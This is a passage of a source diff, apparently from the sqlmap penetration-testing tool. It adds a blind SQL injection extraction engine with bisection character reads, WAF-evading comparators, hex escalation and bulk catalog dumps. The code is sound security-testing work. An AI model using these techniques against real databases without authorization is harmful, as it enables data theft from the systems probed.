"binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else
|
||||
"codepoint" if (d.compare == "code" and d.charcode is not None
|
||||
and d.charcode.get("semantics") == "codepoint") else None))
|
||||
|
||||
def enumerateBulk(self, kind, maxchars=4096, encoding=None):
|
||||
"""One-shot full dump: aggregate the whole column into one delimited string
|
||||
and extract it once. When a hex function exists each value is HEX-encoded
|
||||
before aggregation, so the ',' delimiter is unambiguous (a comma can't occur
|
||||
in a hex token) and any charset survives; otherwise raw values are joined
|
||||
(comma-ambiguous, noted). Completeness is checked against an independent
|
||||
COUNT(DISTINCT). Returns a BulkResult (list-like)."""
|
||||
if kind not in self.dialect.catalogEnum:
|
||||
return None
|
||||
col, src, where = self._source(kind)
|
||||
# independent COUNT FIRST - so a single empty-string row isn't mistaken for
|
||||
# an empty catalog (the aggregate of one '' can look like no rows)
|
||||
try:
|
||||
expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
|
||||
except OverflowError: # huge count -> unknown, not a failure
|
||||
expected = None
|
||||
if expected == 0:
|
||||
return BulkResult([], expected=0, complete=True)
|
||||
if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat
|
||||
self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind)
|
||||
return None
|
||||
# frame each value as V<hex>; - 'V' distinguishes an empty string from a NULL
|
||||
# aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet
|
||||
# and the ',' separator) proves the token is WHOLE: a server-side aggregate output
|
||||
# limit truncates the FINAL token, dropping its ';', so the truncated token is caught
|
||||
# instead of a shorter-but-still-valid-hex value silently counting as one item.
|
||||
encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
|
||||
# frame each value as V<charlen>:<hex>; when a length fn exists: the ';' catches aggregate
|
||||
# truncation (final token loses it) AND the independent <charlen> catches a capped/lossy HEX
|
||||
# that shortened the VALUE (decoded chars != declared) - which the terminal marker alone
|
||||
# (round 5) missed because a shortened even-length hex is still valid+terminated.
|
||||
lenframed = bool(self.dialect.length and self.dialect.textcast)
|
||||
if lenframed:
|
||||
lenstr = self.dialect.textcast[1].format(expr=self._len(col))
|
||||
aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"])
|
||||
else:
|
||||
aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"])
|
||||
if self.dialect.bulkAgg is None:
|
||||
self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
|
||||
if not self.dialect.bulkAgg:
|
||||
return None
|
||||
agg = self.dialect.bulkAgg[1].format(col=aggcol)
|
||||
res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars)
|
||||
joined = res.value
|
||||
if joined is None:
|
||||
return BulkResult([], expected=expected, complete=False)
|
||||
tokens = joined.split(",")
|
||||
if res.truncated and tokens: # last token may be partial
|
||||
tokens = tokens[:-1]
|
||||
names, seen, aggtruncated = [], set(), False
|
||||
for t in tokens:
|
||||
if not (t.startswith("V") and t.endswith(";")): # missing terminal marker
|
||||
aggtruncated = True # aggregate truncated this token -> drop, flag
|
||||
continue
|
||||
body = t[1:-1] # strip 'V' prefix and ';' terminator
|
||||
declared = None
|
||||
if lenframed:
|
||||
lenpart, sep, hexpart = body.partition(":")
|
||||
if sep != ":" or not lenpart.isdigit():
|
||||
aggtruncated = True # malformed length prefix -> truncated token
|
||||
continue
|
||||
declared, body = int(lenpart), hexpart
|
||||
v = self._decodeHexToken(body, encoding)
|
||||
if v is not None and (declared is None or len(v) == declared): # independent length witness
|
||||
if v not in seen: # dedupe (non-unique columns repeat)
|
||||
seen.add(v)
|
||||
names.append(v)
|
||||
elif v is not None: # decoded but length mismatch -> a capped hex shortened it
|
||||
aggtruncated = True
|
||||
complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected
|
||||
if aggtruncated:
|
||||
self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind)
|
||||
elif expected is not None and len(names) != expected:
|
||||
self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
|
||||
return BulkResult(names, expected=expected, complete=complete)
|
||||
|
||||
def _discoverBulkAgg(self, col, src, where):
|
||||
for name, tmpl in _BULK_AGG:
|
||||
agg = tmpl.format(col=col)
|
||||
if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)):
|
||||
return Cap(name, tmpl)
|
||||
return None
|
||||
@@ -0,0 +1,830 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
|
||||
from .atlas import _FREQ_ORDER
|
||||
from .atlas import _hardWarnings
|
||||
from .atlas import _HEX_Q_ENCODINGS
|
||||
from .atlas import _HEXDIGITS
|
||||
from .atlas import _HEXFN
|
||||
from .atlas import _isSingleUnicodeScalar
|
||||
from .atlas import _MAX_HEX_CHAR_NIBBLES
|
||||
from .atlas import _native
|
||||
from .atlas import _PRINTABLE_SORTED
|
||||
from .atlas import _REPL
|
||||
from .atlas import _SIMILAR_META
|
||||
from .atlas import _UNICODE_MAX
|
||||
from .atlas import _unhexlify
|
||||
from .atlas import _unichr
|
||||
from .records import Cap
|
||||
from .records import ExtractResult
|
||||
from .records import NumericOutOfRange
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
class _Extraction(object):
|
||||
"""_Extraction
|
||||
|
||||
turn the discovered dialect into VALUES: length, char reading, literals, hex,
|
||||
the public extract*/read* API, and the LIKE pattern-match floor."""
|
||||
|
||||
def _charExists(self, expr, pos):
|
||||
# is there a real character at 1-based `pos`? derived from the substring's
|
||||
# measured end behavior - the basis for length when no length fn exists.
|
||||
one = self._sub(expr, pos, 1)
|
||||
if self.dialect.substring.get("beyond_end") == "null-or-error":
|
||||
return self._ask("%s IS NOT NULL" % one)
|
||||
return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one)
|
||||
|
||||
def _measureLengthSub(self, expr, ceiling):
|
||||
# length via substring: find the largest position that still holds a char.
|
||||
# mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char
|
||||
# exists at N+1), for backends with substring but no length fn.
|
||||
if not self._charExists(expr, 1):
|
||||
return (None if self._ask("(%s) IS NULL" % expr) else 0), False
|
||||
if self._charExists(expr, ceiling + 1):
|
||||
return ceiling, True
|
||||
low, high = 1, min(8, ceiling)
|
||||
while high < ceiling and self._charExists(expr, high + 1):
|
||||
low = high + 1
|
||||
high = min(high * 2, ceiling)
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._charExists(expr, mid + 1):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low, False
|
||||
|
||||
def _hasChars(self, expr):
|
||||
# non-empty existence check that works with either a length fn or substring
|
||||
if self.dialect.length is not None:
|
||||
lexpr = self._len(expr)
|
||||
return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr)
|
||||
if self.dialect.substring is not None:
|
||||
return self._charExists(expr, 1)
|
||||
return False
|
||||
|
||||
def _lenEquals(self, expr, n):
|
||||
# exact-length corroboration used in discovery, length-fn or substring-derived
|
||||
if self.dialect.length is not None:
|
||||
return self._ask("%s=%d" % (self._len(expr), n))
|
||||
if self.dialect.substring is not None:
|
||||
return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n
|
||||
return False
|
||||
|
||||
def _measureLength(self, expr, ceiling=None):
|
||||
"""Return (length, truncated) - no shared per-call state, and a separate
|
||||
`ceiling` so hex/byte pulls can be capped independently of maxlen."""
|
||||
ceiling = self.maxlen if ceiling is None else ceiling
|
||||
if self.dialect.length is None:
|
||||
return self._measureLengthSub(expr, ceiling)
|
||||
lexpr = self._len(expr)
|
||||
if not self._numDefined(lexpr):
|
||||
return None, False
|
||||
if self._ask("%s=0" % lexpr):
|
||||
return 0, False
|
||||
if ceiling < 1: # non-empty value but capped to nothing (maxlen=0)
|
||||
return 0, True
|
||||
try:
|
||||
n = self._readNum(lexpr, 1, ceiling)
|
||||
except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value
|
||||
return ceiling, True
|
||||
return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap
|
||||
# is COMPLETE, not truncated - overflow is the exception above
|
||||
|
||||
def valueLength(self, expr):
|
||||
length, truncated = self._measureLength(expr)
|
||||
self._lastTruncated = truncated
|
||||
return length
|
||||
|
||||
def _literalVariants(self, value):
|
||||
# spellings to try for exact char verification; SQL Server & others need an
|
||||
# N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate
|
||||
yield self._lit(value)
|
||||
if any(ord(c) > 127 for c in value):
|
||||
yield "N%s" % self._lit(value)
|
||||
|
||||
def _exactCharEquals(self, expr, value):
|
||||
return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value))
|
||||
|
||||
def _lit(self, ch):
|
||||
# double single quotes always; also double backslashes on engines that treat
|
||||
# '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break
|
||||
# the literal and silently corrupt the probe
|
||||
if self._backslashEscape is None:
|
||||
self._backslashEscape = (self.dialect.length is not None
|
||||
and self._ask("%s=1" % self._len("'\\\\'")))
|
||||
s = ch.replace("\\", "\\\\") if self._backslashEscape else ch
|
||||
return _native("'%s'" % s.replace("'", "''"))
|
||||
|
||||
def _bisectCharset(self, greater):
|
||||
# greater(c) -> is the source char strictly greater than charset char c?
|
||||
cs = _PRINTABLE_SORTED
|
||||
lo, hi = 0, len(cs) - 1
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if greater(cs[mid]):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return cs[lo]
|
||||
|
||||
def _gtNum(self, expr, n, high):
|
||||
# "is `expr` > n?" via the discovered comparator (high = current upper bound).
|
||||
# BETWEEN expresses the same range test without the '>'/'<' a WAF may strip.
|
||||
if self._comparator == "between":
|
||||
return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high))
|
||||
if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...)
|
||||
return self._ask(self._cmpTemplate.format(expr=expr, n=n))
|
||||
return self._ask("%s>%d" % (expr, n))
|
||||
|
||||
def _numDefined(self, expr):
|
||||
# value is a defined (non-NULL) number - validity gate that needs no '>'
|
||||
return self._ask("(%s) IS NOT NULL" % expr)
|
||||
|
||||
def _readNum(self, expr, lo, hi):
|
||||
"""Bounded numeric read in [lo, hi]. PROVES the value lies in range before
|
||||
bisecting - a bounded search must never invent an in-range boundary ('>'
|
||||
saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an
|
||||
out-of-range value raises NumericOutOfRange for the caller to classify
|
||||
(length -> truncated, integer -> overflow) instead of returning wrong data."""
|
||||
if self._comparator == "membership":
|
||||
if self._inOk:
|
||||
window = 128
|
||||
base = lo
|
||||
while base <= hi:
|
||||
win = list(range(base, min(base + window, hi + 1)))
|
||||
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
|
||||
while len(win) > 1:
|
||||
half = win[:len(win) // 2]
|
||||
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
|
||||
win = half
|
||||
else:
|
||||
win = win[len(win) // 2:]
|
||||
return win[0]
|
||||
base += window
|
||||
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
|
||||
for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan
|
||||
if self._ask("%s=%d" % (expr, v)):
|
||||
return v
|
||||
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
|
||||
# ordered comparators (gt / between / operator-free rung): prove range first
|
||||
if self._comparator == "between":
|
||||
if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)):
|
||||
raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
|
||||
else: # gt or operator-free rung ('>' semantics)
|
||||
if self._gtNum(expr, hi, hi):
|
||||
raise NumericOutOfRange("%s > %d" % (expr, hi))
|
||||
if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo)
|
||||
raise NumericOutOfRange("%s < %d" % (expr, lo))
|
||||
low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap
|
||||
while high < hi and self._gtNum(expr, high, hi):
|
||||
low, high = high + 1, min(high * 2, hi)
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._gtNum(expr, mid, hi):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
|
||||
def _bisectCodes(self, code, codes):
|
||||
# ordered bisection over a sorted code list (restricted alphabet)
|
||||
lo, hi = 0, len(codes) - 1
|
||||
top = codes[hi]
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._gtNum(code, codes[mid], top):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return codes[lo]
|
||||
|
||||
def _bisectCodeRange(self, code):
|
||||
# general dynamic-range bisection - a real code-point fn can far exceed 255,
|
||||
# so find the tight upper bound first, then bisect
|
||||
high = _UNICODE_MAX
|
||||
for cap in (127, 255, 0xFFFF, _UNICODE_MAX):
|
||||
if not self._gtNum(code, cap, _UNICODE_MAX):
|
||||
high = cap
|
||||
break
|
||||
low = 0
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._gtNum(code, mid, high):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
|
||||
def _pickCode(self, code, codes):
|
||||
# order-free code selection when there's no ordered comparator: IN() subset
|
||||
# bisection if available, else a plain '=' scan (last resort, no '<>' needed)
|
||||
if self._inOk:
|
||||
return self._membershipCode(code, codes)
|
||||
for c in codes:
|
||||
if self._ask("%s=%d" % (code, c)):
|
||||
return c
|
||||
return None
|
||||
|
||||
def _membershipCode(self, code, codes):
|
||||
# ORDER-FREE subset bisection: split the candidate code list in half and test
|
||||
# `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN
|
||||
# and collation quirks. ~log2(n) probes. Returns the matched code, or None
|
||||
# when the char is outside `codes` (caller escalates to hex / marks it).
|
||||
if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))):
|
||||
return None
|
||||
cand = list(codes)
|
||||
while len(cand) > 1:
|
||||
half = cand[:len(cand) // 2]
|
||||
if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))):
|
||||
cand = half
|
||||
else:
|
||||
cand = cand[len(cand) // 2:]
|
||||
return cand[0]
|
||||
|
||||
def _membershipLit(self, one, chars):
|
||||
# order-free subset bisection over char LITERALS (no code fn, no ordering) -
|
||||
# `chars` is frequency-ordered so the common half resolves first
|
||||
if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))):
|
||||
return None
|
||||
cand = list(chars)
|
||||
while len(cand) > 1:
|
||||
half = cand[:len(cand) // 2]
|
||||
if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))):
|
||||
cand = half
|
||||
else:
|
||||
cand = cand[len(cand) // 2:]
|
||||
return cand[0]
|
||||
|
||||
def _ensureHexfn(self):
|
||||
# a hex fn may not have been discovered (code/collation mode won the ladder
|
||||
# before hex was tried); probe for one on demand so escalation can recover
|
||||
# bytes exactly. probes at most once.
|
||||
if self.dialect.hexfn is None and not self._hexProbed:
|
||||
self._hexProbed = True
|
||||
with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
|
||||
for name, tmpl in _HEXFN:
|
||||
enc = self._hexEncoding(tmpl)
|
||||
if enc is not None: # '' = usable, codec unknown (auto-detect)
|
||||
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
|
||||
break
|
||||
return self.dialect.hexfn
|
||||
|
||||
def _hexEncoding(self, tmpl):
|
||||
# if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 /
|
||||
# utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form
|
||||
# AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
|
||||
hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q'
|
||||
hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p'
|
||||
cf = self._codeCharTmpl()
|
||||
for form, enc in _HEX_Q_ENCODINGS:
|
||||
if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))):
|
||||
continue
|
||||
# BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying
|
||||
# itself). A LONG probe is required: a short sample passes any large-enough fixed cap,
|
||||
# so an 8/64/255-byte-capped hex fn would slip through. No usable length measure ->
|
||||
# do NOT certify whole-value hex output.
|
||||
bpc = 2 if "16" in enc else 1
|
||||
probe = "A" * 256
|
||||
if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2):
|
||||
continue
|
||||
# PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in
|
||||
# MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match
|
||||
# alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is
|
||||
# UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe
|
||||
# passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a
|
||||
# byte-based mode that mangles multibyte). None means only 'no working hex fn'.
|
||||
if cf:
|
||||
eur = tmpl.format(expr=cf.format(code=0x20AC))
|
||||
want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc)
|
||||
if want and self._ask("LOWER(%s)='%s'" % (eur, want)):
|
||||
return enc
|
||||
return "" # ASCII-compatible, codec unproven: usable, auto-detect decode
|
||||
return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII-
|
||||
# compatible in many charsets (CP1252/Latin-1/SJIS/...), so it
|
||||
# is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text
|
||||
return None
|
||||
|
||||
def _escalate(self, one, pos):
|
||||
# candidate did not verify -> char is outside the searched alphabet.
|
||||
# recover its exact bytes via hex if available; otherwise mark it (never
|
||||
# silently substitute a space/'~' or delete it)
|
||||
if self._ensureHexfn():
|
||||
ch = self._readHexChar(one)
|
||||
if ch and ch != _REPL:
|
||||
return ch
|
||||
self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos)
|
||||
return _REPL
|
||||
|
||||
def _readChar(self, expr, pos, codes=None):
|
||||
one = self._sub(expr, pos, 1)
|
||||
mode = self.dialect.compare
|
||||
|
||||
if mode == "code":
|
||||
code = self.dialect.charcode[1].format(expr=one)
|
||||
ordered = self._comparator != "membership" # gt/between OR an operator-free rung (all bisect via _gtNum)
|
||||
if codes is not None:
|
||||
# restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII
|
||||
# set. no per-char verify - ASCII codes are unambiguous across charcode
|
||||
# semantics and extractResult whole-value verifies.
|
||||
low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes)
|
||||
return _unichr(low) if low is not None else self._escalate(one, pos)
|
||||
if ordered:
|
||||
low = self._bisectCodeRange(code)
|
||||
else:
|
||||
# no ordered operator: order-free IN() over the printable set (or a '='
|
||||
# scan if IN is gone too); anything outside it escalates to hex / marks
|
||||
low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED])
|
||||
if low is None:
|
||||
return self._escalate(one, pos)
|
||||
if 0xD800 <= low <= 0xDFFF:
|
||||
# a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation)
|
||||
# can return an isolated surrogate - not a scalar; recover via bytes
|
||||
return self._escalate(one, pos)
|
||||
try:
|
||||
ch = _unichr(low) # low==0 is a valid NUL char, not "empty"
|
||||
except ValueError:
|
||||
return self._escalate(one, pos)
|
||||
# a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even
|
||||
# '?' (63) for an unrepresentable char - the old low>127-only check
|
||||
# silently accepted the last as a literal '?'. only a *proven* code-point
|
||||
# fn is trusted outright; everything else must round-trip-verify.
|
||||
if self.dialect.charcode.get("semantics") != "codepoint" and \
|
||||
not self._exactCharEquals(one, ch):
|
||||
return self._escalate(one, pos)
|
||||
return ch
|
||||
|
||||
if mode == "hex":
|
||||
if self.dialect.hexfn is None:
|
||||
return self._escalate(one, pos)
|
||||
return self._readHexChar(one)
|
||||
|
||||
if mode == "collation":
|
||||
if self.dialect.binwrap is None:
|
||||
return self._escalate(one, pos)
|
||||
w = self.dialect.binwrap[1]
|
||||
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c)))))
|
||||
if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))):
|
||||
return cand
|
||||
return self._escalate(one, pos)
|
||||
|
||||
if mode == "ordinal":
|
||||
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c))))
|
||||
if self._ask("%s=%s" % (one, self._lit(cand))):
|
||||
return cand
|
||||
return self._escalate(one, pos)
|
||||
|
||||
# equality / equality-ci: order-free IN() subset bisection (frequency-ordered,
|
||||
# ~log2(n) probes) when IN is usable, else the linear frequency scan
|
||||
if self._inOk:
|
||||
ch = self._membershipLit(one, _FREQ_ORDER)
|
||||
return ch if ch is not None else self._escalate(one, pos)
|
||||
for ch in _FREQ_ORDER:
|
||||
if self._ask("%s=%s" % (one, self._lit(ch))):
|
||||
return ch
|
||||
return self._escalate(one, pos)
|
||||
|
||||
def _readHexChar(self, one):
|
||||
# read the uppercase-hex byte string of a single source char, digit by
|
||||
# digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip
|
||||
# against the source (decoder order alone is endian-ambiguous: 00 41 is both
|
||||
# UTF-16BE 'A' and UTF-16LE U+4100).
|
||||
hexpr = self.dialect.hexfn[1].format(expr=one)
|
||||
hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES)
|
||||
if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES:
|
||||
return _REPL
|
||||
# bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks
|
||||
# vs up to 16); fall back to an equality scan otherwise
|
||||
if self._hexOrdered is None:
|
||||
self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'"))
|
||||
digits = ""
|
||||
for k in range(1, hlen + 1):
|
||||
nib = self._sub(hexpr, k, 1)
|
||||
if self._hexOrdered:
|
||||
lo, hi = 0, len(_HEXDIGITS) - 1
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
# verify: if nib isn't actually this hex digit (WAF/glitch), bail
|
||||
if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])):
|
||||
return _REPL
|
||||
digits += _HEXDIGITS[lo]
|
||||
else:
|
||||
for hd in _HEXDIGITS:
|
||||
if self._ask("%s='%s'" % (nib, hd)):
|
||||
digits += hd
|
||||
break
|
||||
else:
|
||||
return _REPL
|
||||
try:
|
||||
raw = _unhexlify(digits)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return _REPL
|
||||
# generate every single-scalar candidate and pick the one that round-trips
|
||||
# against the source char (resolves the endian ambiguity), preferring the
|
||||
# interleaved-NUL-signalled endianness order first
|
||||
order = []
|
||||
if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00":
|
||||
order += ["utf-16-be", "utf-32-be"]
|
||||
if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00":
|
||||
order += ["utf-16-le", "utf-32-le"]
|
||||
# UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode
|
||||
# backend may hex; each is TRIED only when it round-trips against the source char
|
||||
# (see _exactCharEquals below), so adding codecs can only recover MORE, never
|
||||
# mis-decode. latin-1 stays last (it accepts any single byte).
|
||||
order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be",
|
||||
"cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"]
|
||||
seen = set()
|
||||
for enc in order:
|
||||
try:
|
||||
dec = raw.decode(enc)
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
continue
|
||||
if dec in seen or not _isSingleUnicodeScalar(dec):
|
||||
continue
|
||||
seen.add(dec)
|
||||
if self._exactCharEquals(one, dec):
|
||||
return dec
|
||||
return _REPL
|
||||
|
||||
def _textable(self, expr):
|
||||
# extraction needs BOTH length and substring to work; length may implicitly
|
||||
# cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)),
|
||||
# so the substring primitive must be probed too. with no length fn, the
|
||||
# substring probe alone is the textability test.
|
||||
length_ok = self.dialect.length is None or self._numDefined(self._len(expr))
|
||||
return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
|
||||
|
||||
def _resolveText(self, expr):
|
||||
# if the expression isn't directly substringable (e.g. a numeric/date column on a
|
||||
# strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered
|
||||
# text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does
|
||||
# not exist) means "not directly textable" -> fall through to the cast, never fatal.
|
||||
with self._probePhase():
|
||||
if self._textable(expr):
|
||||
return expr
|
||||
if self.dialect.textcast is not None:
|
||||
casted = self.dialect.textcast[1].format(expr=expr)
|
||||
# use the cast when it makes a NON-NULL value textable; if the value is
|
||||
# currently NULL the cast is STILL correct (LENGTH may not even exist for the
|
||||
# raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead
|
||||
# of yielding a clean is_null, so prefer the cast in the NULL case too
|
||||
if self._textable(casted) or self._ask("(%s) IS NULL" % expr):
|
||||
return casted
|
||||
return expr
|
||||
|
||||
def coalesce(self, expr, fallback="''"):
|
||||
return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr
|
||||
|
||||
def _concatMany(self, parts):
|
||||
if len(parts) == 1:
|
||||
return parts[0]
|
||||
func = self.dialect.concat.get("variadic") if self.dialect.concat else None
|
||||
if func: # flat CONCAT(a,b,c,...) when variadic
|
||||
return "%s(%s)" % (func, ",".join(parts))
|
||||
out = parts[0]
|
||||
for p in parts[1:]:
|
||||
out = self.dialect.concat[1].format(a=out, b=p)
|
||||
return out
|
||||
|
||||
def buildLiteral(self, value):
|
||||
"""Build a SQL string literal for `value`. Prefers CHAR(code)||... from the
|
||||
discovered char-from-code + concat primitives (no quote-escaping pitfalls),
|
||||
for ASCII values; otherwise a doubled-quote literal."""
|
||||
if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value):
|
||||
return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value])
|
||||
return self._lit(value)
|
||||
|
||||
def extract(self, expr, limit=None):
|
||||
return self.extractResult(expr, limit).value
|
||||
|
||||
def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None):
|
||||
"""Structured text extraction keeping NULL / empty / truncated / failed
|
||||
distinct - never conflated into one ambiguous ''/None. `codes` restricts the
|
||||
char alphabet (sorted code list) for a big speedup on known-alphabet values."""
|
||||
if self.dialect.prefix is not None and self.dialect.substring is None:
|
||||
return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path
|
||||
q0 = self._queries
|
||||
expr = self._resolveText(expr)
|
||||
ceiling = self.maxlen if _ceiling is None else _ceiling
|
||||
length, truncated = self._measureLength(expr, ceiling=ceiling)
|
||||
if length is None:
|
||||
# >=0 was false: either a genuine NULL or the probe itself failed.
|
||||
# PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to
|
||||
# turn every invalid expression into a convincing, "complete" NULL.
|
||||
is_null = self._ask("(%s) IS NULL" % expr)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null,
|
||||
queries=self._queries - q0,
|
||||
warnings=[] if is_null else ["length probe failed"])
|
||||
if limit is not None and limit < length:
|
||||
truncated = True # a bounded prefix of a longer value
|
||||
length = limit
|
||||
if length == 0:
|
||||
value = ""
|
||||
else:
|
||||
chars = []
|
||||
for i in range(1, length + 1):
|
||||
chars.append(self._readChar(expr, i, codes))
|
||||
self._emitChar("".join(chars), length) # live progress: user sees it working
|
||||
value = "".join(chars)
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if self.dialect.compare == "equality-ci":
|
||||
warns.append("lossy equality collation: case/accents ambiguous")
|
||||
complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete
|
||||
# a length fn can stop at an embedded NUL, yielding a convincing short prefix.
|
||||
# ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
|
||||
# strongest available comparator (hex > binary wrapper > plain equality); even
|
||||
# plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
|
||||
# (_verify=False on the internal hex-string pull to avoid re-entry.)
|
||||
# escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails
|
||||
# whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a
|
||||
# code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks
|
||||
# chars outside its alphabet, yet the cast+hex path recovers them cleanly.
|
||||
if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))):
|
||||
recovered = self._extractViaHex(expr, q0)
|
||||
if recovered is not None:
|
||||
return recovered
|
||||
